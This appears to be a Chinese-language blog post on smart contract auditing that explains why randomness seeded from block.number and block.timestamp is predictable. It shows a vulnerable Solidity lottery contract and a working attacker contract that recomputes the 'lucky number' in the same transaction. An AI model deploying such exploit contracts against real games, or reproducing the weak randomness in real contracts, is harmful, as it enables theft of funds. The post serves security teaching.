My Avatar

毕竟话少

业精于勤荒于嬉,行成于思毁于随!

智能合约审计-随机误用

2020年4月13日 星期一, 发表于 合肥

如果你对本文有任何的建议或者疑问, 可以在 这里给我提 Issues, 谢谢! :)

描叙:智能合约开发中,在程序中使用随机数较好的伪随机数是很难的。很多看似无法被预言的随机数种子或变量,实际被预言的难度很低。

核心问题:一旦在智能合约中使用了随机性很差的随机数作为关键变量,就面临着随机数被预言的攻击风险。

一些概念

智能合约常用的随机数计算方式

keccak256(seed)

常用seed的选取:

常用的区块属性

使用区块相关属性作为随机数种子,是一种常见但是非常不安全的方式,其不安全在于,这些数据对于同一个transaction中的合约调用是可预测的。

msg.sender随机预测

https://vanity-eth.tk 生成特定的地址

漏洞合约分析

pragma solidity ^0.4.24;

contract RandomGame{
    mapping (address => uint256) public balances;
    
    event LuckyLog(uint lucky_number, uint guess);

    function lucky(uint256 guess) public returns(uint256){
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
        if(lucky_number == guess){
            balances[msg.sender] += 1000;
        }
        emit LuckyLog(lucky_number,guess);
        return lucky_number;
    }
}

漏洞点:使用了不安全的block.number做为随机数的种子,导致随机数可以被预测,攻击者可以在合约中进行预测,造成一定损失。

攻击者合约

pragma solidity ^0.4.24;

contract RandomGame{
    mapping (address => uint256) public balances;
    
    event LuckyLog(uint lucky_number, uint guess);

    function lucky(uint256 guess) public returns(uint256){
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
        if(lucky_number == guess){
            balances[msg.sender] += 1000;
        }
        emit LuckyLog(lucky_number,guess);
        return lucky_number;
    }
}

contract AttackRandom{
    RandomGame rg;
    
    function setTarget(address _addr) public {
        rg=RandomGame(_addr);
    }
    
    function attack() public returns(uint256){
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
        rg.lucky(lucky_number);
        return lucky_number;
    }
}

使用Remix进行进行调试

漏洞预防

  1. 使用Oraclize提供的一个合约接口库,可以通过链下off-chain的数据流推送data-feed来提供与链状态无关的随机数